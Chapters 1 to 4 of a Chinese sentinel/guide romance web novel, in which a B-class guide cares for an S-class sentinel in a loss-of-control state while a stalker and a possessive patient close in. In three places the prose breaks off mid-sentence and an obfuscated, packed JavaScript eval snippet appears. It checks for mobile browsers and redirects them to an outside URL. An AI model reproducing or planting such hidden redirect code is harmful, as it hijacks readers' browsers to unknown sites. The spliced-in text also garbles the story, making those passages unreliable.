《向导又在修罗场》 1. 第 1 章 雪下了一整日。 天黑以后,气温又下降了几度。 温沅走出医疗中心,刺骨的北风迎面扑来,夹带着湿冷钻进了她的领口。 她紧了紧厚实的羽绒服,那种不安的感觉又出现了。 最近一段时间,她像是被什么东西暗中窥探,黏着的视线总是如影随形,就似此刻。 温沅猛地回头,看向了还在亮灯的医疗中心。 那间她明明熄了灯,本该暗着的疏导室。 如今忽明忽暗地亮着光,最后在她的视线里彻底黑了下来。 温沅抿着唇,安抚自己,不过是医疗中心的电路老化,灯也反复无常。 肯定是她多想了。 她不过是一个B级的向导,每个月的薪酬只勉强够用,又会有谁盯上她呢。 雪又厚厚地下了起来,周围的行人也越来越少。 温沅没再多想,把帽檐拉低到眉毛,脸颊也埋进了衣领。 她蓬松宽大的白色羽绒服到了脚踝,雪地靴也是毛茸茸的同色系。 快步走起来时,几乎和雪地融为了一体。 可能是大雪压坏了电线,这几天小区门口的路灯也明明灭灭的,暗了好几盏。 温沅住在小区最里面的一栋楼,门前几颗大树早在晚秋就掉光了树叶,仅剩的枝干被厚重积雪压得缓缓往下折。 影影绰绰间,她好像看见了一道黑影,躲藏在树后。 近来,污染区出现了不少新变异的物种。 甚至还有变异物种穿过污染区界限,到市区里猎杀市民的传闻。 眼前这个…… 该不会就是那些逃出污染区的变异物种吧? 怪不得,她一如几天都察觉到了有形的视线。 原来是变异种正在伺机捕捉猎物。 温沅不自觉地后退了几步,想要悄然离开之际,手腕上戴的联络器却突然响了起来。 尖锐的铃声在安静的夜晚尤为明显。 很快,那道黑影也若有所闻地站了起来。 和她想象中的异形污染物不同,这道身影高大挺拔,像极了人类。 可之前也有案例,一些高智的变异种能异化成人形,引诱猎物上钩。 温沅惊悚地看着那道黑影渐渐朝自己靠近,来不及按掉联络器,转身就往外跑。 厚重的外套在这时成了累赘,帽子被风吹了下来,碎发拂过她的耳廓。 她仓皇地回头看了一眼,脸色顿时吓得煞白。 黑影的背后突然冒出了数条张牙舞爪的触肢,湿黏、扭曲,四面八方地朝她涌了过来。 她凝起一股精神力,正准备攻击时,触肢却在她的脚边停住,很有礼貌地敲了敲她的雪地靴。 一下,两下……直到第八条触肢上前敲了最后一下。 嗯? 温沅愣了愣,看着脚边的触肢,再抬眼时,就对上一张熟悉的脸。 是个女人。 她的皮肤很白,像是从未见过阳光一般,白得发青。 黑到浓郁的长发下,一双眼睛犹如某种冷血动物盯上了猎物,过多的眼白和边缘锋利的瞳孔,透着莫名的非人感。 “息女士?”温沅赶紧收回精神力,惊讶地看着眼前的人,“您怎么会在这里?” 女人俯下身,浓墨的眼珠直勾勾地望着她,表情没有太大的波动,语气里却透出几分委屈。 “老婆,你为什么叫我息女士?” 她的状态不对。 温沅伸手摸了摸她的额头。 果不其然,往日里冰得不像活人的体温,此刻却隐隐有些发烫。 “我只是被吓到了。”温沅轻声哄着,手也抚了抚她的发,“息蕴,你怎么又进入失控期了?” “因为很久没有见到你。”息蕴侧头蹭了蹭她的掌心,不高兴地抱怨着,“她们很坏,不让我见老婆。” 许是嗅到了熟悉的味道,温沅的衣兜里突然爬出一条小蛇。 这是她的精神体,一条橘白相间的小蛇。 小蛇只有拇指粗,眼睛很圆,鼻子微微往上翘,扁扁的脑袋这会儿正一拱一拱地往外探着。 不同于那些张扬的精神体。 小蛇胆小怯生,大部分时间都躲在温沅的精神图景里睡觉,很少会主动出现在别人面前。 察觉到了小蛇的动作,温沅脚边的触肢也活跃了起来。 好几条触肢腾地立起,她们努力地向上,同时伸向温沅的口袋。 可是口袋太小,触肢又太多。 临到半空它们就撞在一起,谁也不肯让谁的,扭打了起来。 小蛇刚睡醒呢,大嘴巴打着哈欠,起床气都还没消。 瞅着眼前打斗的触肢,她不高兴扑过去,用力咬了一口。 气氛僵硬了一瞬间。 很快,那些触肢又各自扭曲了起来。 原本还在互相攻击的触肢,这会儿都针对起那条距离小蛇最近、被咬了一口已经兴奋得发抖的触肢。 小蛇困惑地歪了歪头,她的脑子太小,看不明白触肢们为什么会打架,只瞧见了它们交汇在一起时的缝隙。 除了睡觉,小蛇最爱的活动就是钻圈圈。 之前温沅给息蕴疏导了几次,她也和这些触肢们玩了很久的钻圈圈。 看到触肢们已经纠缠在一起,她美滋滋地爬了上去,钻了一条,又钻进下一条。 霎时间,触肢们也不敢动了,乖乖地摆成了合适她大小的圆圈,供她游戏。 触肢尽头,巨大的脑袋藏在黑夜。 一双眼睛眨啊眨,温柔地看着小蛇穿梭在自己的身体里。 温沅笑看着难得活泼的小蛇。 虽然她和息蕴只是普通的医患关系,但她的小蛇却明显偏爱着息蕴的精神体。 每次只要闻到味道,就巴巴地跑出来。 她看得入神,息蕴却不乐意了。 “很丑,你别看她们了。” “哪有人说自己的精神体很丑?”温沅有些无奈,伸手戳了戳她,“你还没给我解释,上个月才做了疏导,怎么现在又失控了?” 哨兵常出入污染区工作,精神图景容易受到污染,如果不及时疏导,很容易出现精神失控的情况。 就像眼前这人,正常的时候,礼貌又疏离,总是淡淡地叫她“小蛇向导”。 失控时却像变了个人,固执地把她当做伴侣,老婆长老婆短的叫个不停。 明明长了一副生人勿近的模样,粘人起来却和她的精神体一样,简直就是八爪鱼。 可是她清楚地记得,自己不久前才给她做过一次精神疏导。 即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969990|177796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使长期出入污染区,她也不该在短短几十天里,再次精神失控。 “特殊任务,去了一趟S级污染区。”除了任务上的变动,息蕴皱着眉,重复地念叨,“很想老婆的,但是她们不让我见你。” 不止是阻拦她来找温沅,还想让她接受别人的疏导。 一气之下,她就把禁闭室砸了个粉碎,偷跑出来。 当然,息蕴只是头脑发热,还没傻到把这些话也告诉老婆。 “老婆,你很久都没来看我。”她握着温沅的手,仔细地闻了闻,确定没有别人的味道,放下心,又黏黏糊糊地开口,“你是不是不想要我了?” 遇见温沅之前,息蕴不曾接受过任何向导的治疗。 精神图景里需要疏导的堆积物太多,两人每隔半个月就要进行一次疏导。 上个月息蕴做完任务,回到白塔后,就开始乖乖地等老婆来见自己。 可是等了半个月,没见到;再等了半个月,还是没见到。 失控期的哨兵很笨。 她是真的以为老婆不想要她了。 尤其在白塔给她安排了新的向导后。 本就临近崩溃边缘的精神力也在臆测老婆有了别人中,彻底崩塌。 “没有不要你,息蕴,我也很想你。”温沅反握住她的手,有些担心她的状态,“你还好吗?让我看看你的精神图景。” 其实她的精神力等级只有B级。 息蕴却是整个新洲市里顶尖的S级哨兵。 两人精神力等级差了太多,若不是息蕴长期拒绝向导而精神失控,两人的匹配度又高达90%。 白塔也不会安排两人见面。 初见时,息蕴也是这副懵懵懂懂的样子。 一边问她是不是白塔介绍给自己的伴侣,一边不等她回答就黏糊糊地叫上了老婆。 而后几次都是这样。 失控期的哨兵根本听不进自己不想听的话。 面对恢复后的冷面执行官,温沅也不敢问她是否还有失控期的记忆。 两人维持着临时疏导的关系。 直到上个月,她的排班表里突然没了息蕴的名字。 她还以为是息蕴找到了更合适的向导。 没想到,时隔不久,息蕴就这样突然地出现在了她的面前。 “走吧,先跟我回家。” * S级污染区。 巨大的黑龙盘旋在半空,遮挡住原有的日光,仿佛进入了黑夜。 这里刚刚发生了一场恶战,腐烂的尸体和深色的土壤混合在了一起。 空气里都是恶臭的血腥味。 就在这时,尸堆中伸出一只青白的手。 紧接着,一个穿着战甲的女人,如同恶鬼一般,扒开变异兽的尸体,从最低处爬了出来。 战甲已经沾满了血,甚至还挂着不明生物的外皮组织。 她随手将挡在前额的黑发往后一捋,露出狭长凌厉的眸。 阵阵温热从发顶上传来,似是被人轻柔地抚摸,她古怪地笑了笑。 “息蕴又去找了那个向导。” 黑龙猛地飞落,大脑袋凑到了女人的面前,控制不住地躁动。 “激动什么?没出息。”女人推开她试图凑近的头,“她眼光那么差,能看上什么正常人。” 2. 第 2 章 许是息蕴在楼底站了很久。 黑发上落了一层厚厚的雪,单薄的训练服,衣摆处也结了冰。 站在温沅的家门外,她显得有些局促。 想要迈腿跟着人进门,又想到自己因为关禁闭,训练服三天没换,这会儿暖和了还在滴着水。 “息蕴,你怎么不进来?” 温沅换好了拖鞋,迟迟不见身后的人进门,回头就看到她一副呆呆的模样。 “很多雪。”息蕴甩了甩头,像只可怜的大狗狗,“衣服湿了,还脏。” “先进来。”温沅冲她招招手,“我去找条浴巾给你擦擦。” 息蕴听话,挤进了大门。 她长期有训练任务,本就长得高,身形更是比温沅大了一圈,站在玄关处,显得地方都变窄了很多。 温沅拿着浴巾出来,看到的便是她环抱着手臂,生怕自己动作太大,撞坏身边精致的挂饰。 她小心翼翼的,只脱了鞋,没敢多踏入一步。 “息蕴,你站那么远,我怎么替你擦头发?”温沅拍拍客厅的沙发,“过来坐着。” 息蕴欲言又止,慢慢挪着到了沙发边。 米色的沙发上盖着同色系的毛毯,软绵绵的还有淡淡的香。 她记得这个味道,好几次疏导,她凑近在温沅颈窝的时候,五感都浸透在这种香味里,很舒服也很安心。 她突然有些后悔。 早知道能见到老婆,她应该换一身更好看的衣服。 譬如白塔给她添置的白色西装,看起来和老婆的沙发更相配,而不是她现在这身不修边幅的训练服。 或者,她应该撑一把伞。 雪花落不到她的身上,她也不用担心自己会在老婆漂亮的家里,留下难看的水渍。 “想什么啊。”温沅不客气地把浴巾罩上她脑袋,努力踮起脚揉了揉,几乎快要跳起来,“你太高了,我擦不到!” 温沅的声音在耳边响起。 息蕴垂下眸,看到她半仰起头,眼睛泛着光。 客厅亮着温柔的暖光,笼罩在她浅色的针织衫上,衬得人也毛茸茸的。 息蕴霎时屏住了呼吸,不由得更愣了几分。 她突然记起两人的第一次见面。 怯生生的向导闯进了阴暗的疏导室。 看见她和她的精神体,没有恐惧,更没有逃离。 反而欣喜地和她说—— “真巧啊,您的精神体也是爬行动物!” 爬行动物? 或许也算是吧。 毕竟她的精神体确实喜欢到处乱爬。 原本想要拒绝疏导的息蕴,只是沉默片刻,就让眼前的向导靠近了自己。 “您将她养得很好,每一条触肢都很健壮呢,可以……可以让我摸摸吗?” 很健壮……吗? 其实她的精神体黏腻湿滑,触肢长满了密集的吸盘,脑袋上还有一双硕大的、布满了红血丝的眼睛。皮肤也皱巴巴的,巨大的身形能覆盖大半个疏导室。 怪异得就像是来自外星的变异种。 在这之前,白塔也给她安排过向导。 有看到她的精神体就夺门而出的,有被吓到精神崩溃的,还有嘴上说着不害怕却不敢正眼瞧的。 从未有过人夸奖她的精神体,更没有人主动提出想要触碰的请求。 息蕴说不上来自己是什么情绪,精神体却出卖了她。 触肢们试探又讨好地凑到了这个陌生向导的手边,显然是想要被抚摸。 温沅也不怕生的,伸手轻抚上触肢末梢。 紧接着,温热的触感从精神体传到了她的大脑。 像是电流窜到了全身各处,每个毛孔都在痛快地战栗。 她脑袋空空的,问了这辈子她最不后悔的一句话。 “你就是白塔介绍给我的伴侣吗?” 若不是她命定的伴侣,她又怎么会那么舒坦,那么喜欢。 就如此刻,她望着温沅,看她气急地瞪着眼,眼里却满是关切,心也彻底软了下来。 她的伴侣,真的好可爱啊。 失控期的脑袋里只有想要和执行。 她现在就很想要她的老婆。 息蕴是这么想的,也是这么做的。 她猛地张开手,往下一捞,把温沅整个人抱进了怀里。 “息蕴!”温沅抗议地拍拍她的肩膀,知道她意识不清明,只好耐心地和她解释,“你现在身上都是雪,我被你抱着会很冷。” “没有。”息蕴感觉自己一颗心烫得都快要熟了,怎么会冷呢,“我很热的,老婆。” “冷了,我会感冒。”温沅有些无奈,伸手掐住她的脸,“感冒了要吃药打针,身体很不舒服。” 息蕴怔了怔,很快松开了手,神色还看着有些不舍。 “去,洗澡。”温沅指了指自家浴室的方向,“我可不抱脏兮兮的哨兵。” 息蕴眼睛一亮,过热的脑袋,思维也变得简单。 老婆不要抱脏兮兮的哨兵,但是可以抱干净的哨兵。 幸好,她会洗澡。 息蕴抱着浴巾跑出几步,又回过头。 “衣服,没有。” “我有几套宽松的睡衣,你先洗着,我给你找找。” 温沅说着,便转身进了卧室。 息蕴应了一声,回头走出几步,终于意识到温沅说了什么。 她在老婆的家里,还要穿她贴身过的睡衣。 怎么一切都像在做梦。 她恍惚地带上浴室的门。 洗手台上的牙刷,嗯,她老婆用过的;置物架上的毛巾,嗯,她老婆用过的;还有挂在墙上的花洒,嗯,她老婆用过的。 息蕴心想,S级污染区的后劲真大。 不然怎么失控期持续了好几天,在看到老婆的时候,更是严重到了极点。 她压根隐藏不住自己的情绪,穿着略显紧绷的睡衣,坐在沙发上时,脸颊还有退散不掉的红晕。 温沅担心地看了她一眼,息蕴这种娇羞的状态,太不对劲了。 “你把精神图景打开。” 息蕴难得没有立刻响应老婆的要求,手放在大腿上,眼白过多的眼睛,眨也不眨地望着她。 好在不是温沅第一次给她做疏导,否则被这样一双毒蛇般的眼睛盯着,恐怕要吓得夺门而出。 “息蕴。”温沅不甘示弱地对上了她的眼,“为什么光看着我不说话?” 息蕴冷着一张脸,实则被温沅注视了一会儿,就没出息地垂下了脑袋。 “我不脏了呀。” “嗯?” “不脏了,为什么老婆不抱我呢?” 温沅失笑,她有时觉得,陷入失控期的执行官,就像个不懂事的小孩。 她安抚地伸出手,虚虚抱住了比自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969991|177796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大一圈的可怜哨兵。 “现在呢?可以让我看看你的精神图景了吗?” 精神图景是异能者内在的精神世界,通常也是精神体的居住地。 息蕴的精神图景里是一片望不到边际的海。 常年不见白昼的大海,蓝得发黑,宛若一汪深渊。 温沅一进去就察觉了不对。 太黑了。 海的颜色,比她上次见到的更暗了一度。 她试着放出更多的精神力,覆盖上海面。 只是堆积的污染太多,海水深不见底。 直到她的精神力告急,海水只是稍稍变得平静,颜色却没有太多的变化。 温沅遗憾地收回了精神力,睁开眼却看到息蕴无辜地望着自己。 显然没有恢复到正常的状态。 “对不起。” “为什么,对不起?” 息蕴凑近了几分,视线落在温沅苍白的唇,突然就有点挪不开眼了。 “我好像……没有办法……” 温沅支支吾吾地说着,抬眼却看到面前的人,眼巴巴地盯着自己的唇。 两人靠得太近,她很清楚地看到对方渐渐失神的眼眸。 “息蕴!”温沅气急,伸手捂住她的眼,“我明早再替你做一次疏导,今晚你就睡在这里。” 她说完,不等息蕴反应,就逃一般地回了卧室。 息蕴呆呆地追望着她的背影,半晌后,被卧室里凭空扔出来的厚被褥砸到了脑袋。 温沅平息了很久。 她不该和一个陷入失控期、毫无理智的哨兵计较。 可是息蕴的眼神那么真挚,仿佛真的爱极了她。 恋爱脑! 温沅忙不迭拍了拍脑袋。 她们只是普通的医患关系罢了。 哨兵对临时疏导的向导产生了依赖,很正常。 依赖并不是喜欢。 等到息蕴恢复了正常,又会变成那位高高在上的执行官。 温沅心想,一定是刚刚靠得太近,她免不得多想。 明早的疏导,两人还是坐远一些更好。 就在这时,通讯器突然震动了两下。 她突然记起,遇到息蕴前,没有接通的那个电话。 温沅坐回床边,打开通讯器,只看到未接来电显示一个陌生的号码。 奇怪。 难道是骚扰电话? 她没有多想,顺势点开未读的信息,密密麻麻的好几条,看得她后背一凉—— 【宝宝,为什么不接我的电话?】 【跟你回家的那个女人是谁?】 【她也是你的哨兵吗?】 【讨厌,讨厌,讨厌,讨厌,讨厌】 【想要杀了她】 【宝宝,宝宝,宝宝,宝宝,宝宝】 【你是我的,你是我的】 发件人和来电人是同一个。 温沅不自觉想到那股黏着的视线。 难道就是这个陌生号码? 她本来想问问对方是谁,还没编辑好回复,客厅突然响起“砰”的一声巨响。 温沅惊得站起身,拉开门,眼前一晃。 触肢裹着人,慊恶地甩到了她的卧室门口。 “老婆。”息蕴抱着被子坐在她脚边,头发乱糟糟地垂在胸前,指着占据了沙发的精神体,认真告状道,“她欺负我。” 3. 第 3 章 息蕴的眼眸狭长,眼尾微微上挑,显出几分锋利。不同于常人,她的眼白异常多,瞳仁却深不见底,幽邃森冷。高挺的鼻梁下,唇色极淡,更显出几分面色苍白。 偏偏是这么一张凌厉冷冽,几近没有温度的脸,这会儿却在嘟囔着撒娇。 “她欺负我。” 她穿着宽松的羊羔绒睡衣,袖子不够长,衣领却大喇喇地露出了锁骨。 盘腿坐在地上,她枕头也不抱了,往后一扔,顺势就抱住了温沅的腿。 坏心思藏都藏不住。 “不是我想和老婆睡觉,是她抢我的沙发。” 温沅哪里还听不懂她的言外之意,无奈地叹了口气,却不想顺她的意。 “行吧,今晚我睡沙发,你睡床。” 息蕴一听傻了眼。 她压根就不在乎什么沙发和床。 她只是想和老婆再贴近一点,最好,翻过身就能看到她老婆可爱的脸蛋。 “可是……可是……我的精神体很坏,她也会欺负你。” 息蕴想了半天,支支吾吾地找补着。 沙发上的小章鱼配合地点点头,宛若恶霸一般地扭动着触肢。 “会吗?” 温沅抬眼看向小章鱼,颈窝也探出一个橘黄色的小脑袋,赤红的小圆眼凶巴巴地盯着沙发上的小章鱼。 小章鱼不怕温沅,却怕极了小蛇。 她动作一滞,八条触肢面面相觑,犹豫再三,最后摇了摇头。 “你看。”温沅指了指沙发上临时叛变的小章鱼,“她说不会。” 息蕴气恼地回头瞪了一眼小章鱼,心里怪她没出息,自己却佯装可怜地说。 “老婆,我生病了,生病了,想和你在一起。” 见温沅没有说话,她又得寸进尺用脸颊蹭了蹭她的腿根。 “息蕴好久没有见老婆了,想闻你的味道。” 温沅低头看了她一眼,羊羔绒的睡衣穿在她身上就像一团无赖的棉花糖。 原本想要拒绝的话,到了嘴边却变成—— “隔着被窝睡,不许抱我。” 息蕴知道她老婆又心软了,赶紧趁她没改变主意,飞快窜进了卧室。 温沅哭笑不得,追在她身后念叨。 “慢点跑,别踩到被子摔了。” 客厅里,小章鱼挂在沙发上,眼看着门一点一点地关紧,不禁失落地垂下了脑袋。 她的人只顾讨好自己的老婆,却忘了她也有要讨好的对象。 卧室的门在紧闭前的一瞬,突然被挡住。 橘黄的小脑袋伸出半个,冲着沙发上的小章鱼吐了吐信子。 诶? 小章鱼惊喜地看着给她留门的小蛇,哪里还有半点委屈。 她看了眼窄小的门缝,忽地将身体缩小到巴掌大,八只脚一起用力地跑了过去。 只是和温沅想的不同。 息蕴好像真的是进来睡觉的。 或许是提心吊胆了太久,这会儿闻到安心的味道,她很快就进入了梦乡。 倒是黑暗中的小八爪鱼不太安分,黏黏糊糊地裹住小蛇,把对方惹恼了还被咬了几口。 她现在小小一团的,和小蛇差不多大,被咬了也不生气,反而美滋滋的,把另一条触肢送到了小蛇的嘴边。 小蛇架不住她的热情,只好回头看了眼还没睡着的温沅。 温沅怕打扰熟睡中的息蕴,便在精神图景里和小蛇交流。 “你想和她玩吗?” “她太粘人了。” “你不喜欢她?” “唔……也不是。” 小蛇难得有些扭捏。 她也不明白,为什么有些精神体,没由来地就很害怕她。 甚至有些哨兵,比自己大很多很多,看到她时依旧会吓得跳脚。 小蛇一开始也不是那么内向的小蛇。 只是怕她的人实在是太多了,她渐渐也会担心自己影响到温沅的工作,耽误别人的治疗。 所以,她就不出来了。 小蛇的脑袋不大,但也不傻。 她知道什么样的眼神是喜欢,什么样的眼神是害怕、是反感。 而眼前这个傻乎乎的大家伙,不仅不怕她,对她还很好。 小蛇认真地想了想。 “温沅,你睡觉吧,我不会让她打扰你的!” 温沅想说变小了的八爪鱼和她的主人一样听话,不会打扰到她。 可是她听出了小蛇的跃跃欲试,便没再说话,只冲她点了点头。 小蛇有了新的朋友。 温沅缓缓闭上眼,配合着房间里另一个人的呼吸声,沉沉地睡了过去。 一夜好梦。 醒来的时候,外边天还没亮。 温沅揉了揉眼睛,感受到床的一侧有人在动,含含糊糊地问着。 “息蕴,你醒了吗?” “嗯。” “现在几点了呀?” “五点。” “你……” 冷冽的回答让她一个激灵瞪大了眼。 向导在黑暗中的视力不好,她却一眼对上息蕴无焦距的瞳孔。 这个声音,这个眼神…… 执行官难道在夜里,自己恢复了正常态。 “早上好,小蛇向导。”息蕴礼貌地点点头,疏离的态度证明了温沅的猜测,“昨晚感谢您的收留,我已经没事了。” “那就好。”温沅不太自在地将滑落的被子往上扯紧,“您要走了吗?” 息蕴看到她防备的动作,话里也尽是赶客的意思,垂下的眼眸黯了黯。 只是她还有话要说,否则也不会一直坐在床头等到她醒来。 “小蛇向导,我还有一个问题。” “嗯?” “为什么要……我是说,我作为一个被疏导的哨兵,哪里让您感到不满意了吗?” 不满意? 温沅闻言也坐起身,不太明白她话里的意思。 “没有啊。” “如果没有。”息蕴仰头望向她,明明是同样的一张脸,此刻却比昨晚凌厉许多,“为什么终止了我们的疏导关系?” “您误会了,息女士。”温沅情不自禁地朝她靠近了些许,急于解释道,“我也不知道是什么原因,排班表里就没了您的名字,我还以为您找到了更合适的向导。” 她和息蕴的治疗过程一直很和谐。 当初看到息蕴取消了预约后,她还有过一阵小小的失落。 “看来是有些人擅作主张。”息蕴一瞬就有了答案,“我会重新预约,恳请您的通过。此外,我还有个不情之请。” “您说。” “前段时间,我去了一趟S级污染区。我的精神状态,相信您昨晚已经看到了。”息蕴认真看着她,“短时间内,我并不适合再执行任务,塔也给我放了长假,我担心自己随时进入失控期,所以……” 温沅歪着脑袋看她,不明白她的迟疑。 “我想在您附近住下来。”息蕴偏过头,“您的气味,对我而言,是很有效的镇定剂。” 她说的是客观事实,温沅却听得耳朵一烫。 “可以啊。”她抿了抿唇,装作很忙地转开话题,“对了,您的训练服,放在烘干机里应该已经能穿了。” 换好了训练服,息蕴没有久留。 连早饭也没吃,就借口回去收拾东西离开。 连续几天的大雪终于停了,地面还是白茫茫的一片。 息蕴走出楼道,任由小章鱼趴在她肩膀,八只脚都在表达不满地用力踩着。 “不能耍赖,她会不喜欢。” 小章鱼气恼地瞪她一眼,显然不信。 “虽然她好像更喜欢失控的我。” 可是,理智清醒的她,真的能叫出那个黏糊的称呼吗? 息蕴回头,看向温沅的房间。 似乎是心灵感应,紧闭的窗户拉开一半,温沅探出脑袋,正好和她视线交汇。 隔了好远,她还能听清温沅说的话。 她说,雪天路滑,回去的时候注意安全。 息蕴微微颔首,眼睛却离不开挥着手的人。 直到窗户再次阖上,天色渐渐亮了起来,她才转身踏进雪地。 她是S级哨兵,白塔一级执行官。 谁会担心她路滑摔倒呢。 她又想起失控期时,走路都要抱着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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更严重的是,因为小姑娘不曾有人教导,觉醒出灰狼的精神体后,她似乎把自己也当成了狼,不会说话,不会直立行走,还会吃污染区内的生食。 和别的病人不同,小姑娘住在这里,并不需要治疗,而是在学习如何融入社会。也有人说,金家是怕传出去丢脸,故意把人留在了远离白塔的医疗中心,也迟迟没有对外宣布她的身份。 温沅推开门的时候,病房里没见人,只有床上鼓起一团被窝。 “娜娜,你怎么了?” 她关掉呼叫灯,轻柔地拍了拍被子。 不多会儿,一颗毛茸茸的脑袋探了出来。 她的头发没来得及打理,还有几根浅灰色的杂毛,因为静电立在了头顶。 看到来人,她惊喜地瞪大了眼,转而又委屈地扁起嘴,眼睛里都泛起了一层朦胧的水光。 “小沅医生,你好久没来看我了。” “胡说,明明前天我才来过。”温沅顺势坐在床边,关切地看向她,“哪里不舒服吗?” “我肚子疼。”金千娜苦恼地揉了揉肚子,整个人一趴,黏黏糊糊地从后面抱住了温沅,“很不舒服。” 即使长着一张成熟的脸,金千娜的行为举止却像个刚入世的小孩。 温沅并不抗拒她的亲近,但还是不着痕迹地拉开了她的手。 “娜娜,你又忘了,说话的时候,不能随便挂在别人身上。” 不同于往日,金千娜难得没有听话,反而固执地扣紧了手。 她埋头进温沅的颈窝,像极了灰狼嗅闻专属领地的模样。 “小沅医生,你身上……怎么有别人的味道?” 她半抬起头,笑着看向怀里的人。 浅灰的长发遮住了她眼底的恶意,她盯着温沅露在防护服外的皮肤,强忍住咬下一口的冲动。 “像是死了几天的海鲜,好难闻啊。” 4. 第 4 章 安静的病房内,只剩两人一深一浅的呼吸。 明明是漫不经心的问话,温沅却听出了一丝森冷。 金千娜见她不吭声,环在她腰上的手微微收拢,散落的灰色长卷发也像入侵一般,滑进她的衣领。 “怎么不说话呢?” 她几乎是贴着温沅的耳廓在问,吐出的热气拂过颈侧最敏感的皮肤。 温沅动作一僵,本能地打了个战栗。 “小沅医生,你……”金千娜没给她再沉默的机会,手带着几分强势地扭过她的下巴,逼迫她望向自己浅灰的眼,“你有在交往的哨兵了吗?” “娜娜,你越界了。”温沅沉下眸,伸手抓住了她的手腕,“这不是你该关心的问题。” 两人不过是普通的医患关系。 她并没有义务,告知病人,自己的私人感情。 “没有吗?”金千娜却像是没听到,自顾自地沉浸在自己的假设里,“没有的话,我怎么样啊?” “先放开我!” 温沅低声警告,挣扎的动作却是徒劳。 金千娜将她更深地压向自己,仿佛被她的反应取悦到了,嘴角也勾起若有似无的弧度,轻笑了一声。 “小沅医生,你是在发抖吗?” 好可爱,好可爱,好可爱。 金千娜不止一次的,试想着像这样将眼前的人抱在怀里。 也许她会生气,用她漂亮的大眼睛瞪着自己,或是会脸红,嘴里强撑着说出一些自以为是大人的训话。 可她从未想过,她的小沅医生,居然会发抖。 实在是……太可爱了。 “金千娜!”温沅怒斥着她的名字,“放手!” “好凶啊。”金千娜第一次见她生气的模样,简直看着了迷,“生气也那么可爱吗?如果我是小沅医生的哨兵,肯定要亲你了。我真的不可以吗?我就不能做小沅医生的哨兵吗?” 那她一定会是天底下最爱老婆的哨兵。 无时无刻的,想要把自己的全部都黏着在她可爱的向导身上。 “不能!” 温沅气得脸色通红,高高扬起手,像是要打人,落下时却只捂住了她的嘴。 “你不许说话了。” 金千娜一怔。 她都做好了被打一耳光的准备。 怎么办啊,她的小沅医生怎么……又心软了。 可是,训狗不够严厉,狗又怎么会听话呢。 尤其是她这样,流浪在外,常年和变异兽夺食的野狗。 训不好,就会反骑到主人头上了。 僵持之际,门外突然传来了风风火火的脚步声。 “温向导,温向导,您在里面吗?” 话音刚落,一个医护打扮的向导就推门走了进来。 屋内还拉着厚重的窗帘,旖旎的气氛瞬间被打破。 金千娜不悦地看了一眼那位冒失闯入的向导,视线冷厉如淬了毒的刀。 “打……打扰你们了。” 来人也没想到,病房里竟是这样的场景。 温向导居然被人环抱在怀里,两人的动作亲昵,好似在说着什么情话。 她后知后觉地垂下了头,知道自己撞破了什么,背后也徒然升起一阵凉意。 虽然大家都在八卦金千娜的身份,但金家就摆在那里,就算只是旁亲,也并非她们这些普通向导能够招惹得起,更别提,这位是真正的金家人。 “不打扰。”温沅甩开金千娜还要贴过来的手,“说吧,发生什么急事了吗?” “隔壁街区发生了一起变异兽恶性伤人事件。”那位向导说着,偷偷瞄了一眼金千娜的表情,“现在送来了大量的伤者,需要各科室医护人员紧急支援。” “变异兽?”温沅来不及再想金千娜出格的行径,抓着那位向导就往外走,“是什么类型的变异兽?怎么会跑进街区呢?” 金千娜沉着眼,死死望着两人越走越远的身影。 世界上碍眼的人实在是太多了。 她恶狠狠地捏紧床单,不经意抓到一根浅色的发。 许是温沅刚刚挣扎得厉害,不小心掉落下来的碎发。 金千娜拾了起来,哨兵的五感异于常人,她还能清晰嗅到发丝上的香味。 角落里,一条巨大的灰狼腾地站了起来。 她低低吼了一声,走到金千娜面前,神色有些郁躁。 “谁让你上次把小蛇含到嘴里。”金千娜伸手摸了摸她的头,“她被你吓到了,不想见你也是情理之中。” “可我想见她。”灰狼闷闷不乐地趴下身,尾巴也耷拉着,“我要把她身上的海鲜味都舔干净。” 金千娜含义不明地笑了笑。 看小沅医生的反应,那个跟着她回家的女人,应该不是她的哨兵。 或许和她一样,只是一条无家可归的流浪狗罢了。 忙碌了一整日。 傍晚下班后,温沅直奔附近的超市买菜,想着要犒劳自己一顿丰盛的晚餐。 冬季的天黑得很快。 她进超市的时候,天还敞亮。 出来时,路灯就已经接替了日光,照亮着夜幕。 温沅低着头,冷不丁撞到迎面而来的人。 清冽的味道传来,有些许熟悉。 她抬起头,眼底闪过一丝惊讶。 “息女士,这么巧?” “不是巧。”息蕴摇摇头,“我在这里等你。” 等了很久,面无表情的站岗模样,把对面街道的小孩都吓哭了好几回。 她今天难得换了一身装束。 长发随意地扎在了脑后,素黑的长款毛呢外套下搭配直筒的西装裤,显得整个人挺拔又高挑。 “您今天穿得很好看。”温沅看出了她的不同,认真夸奖,“很像广告画上的模特。” 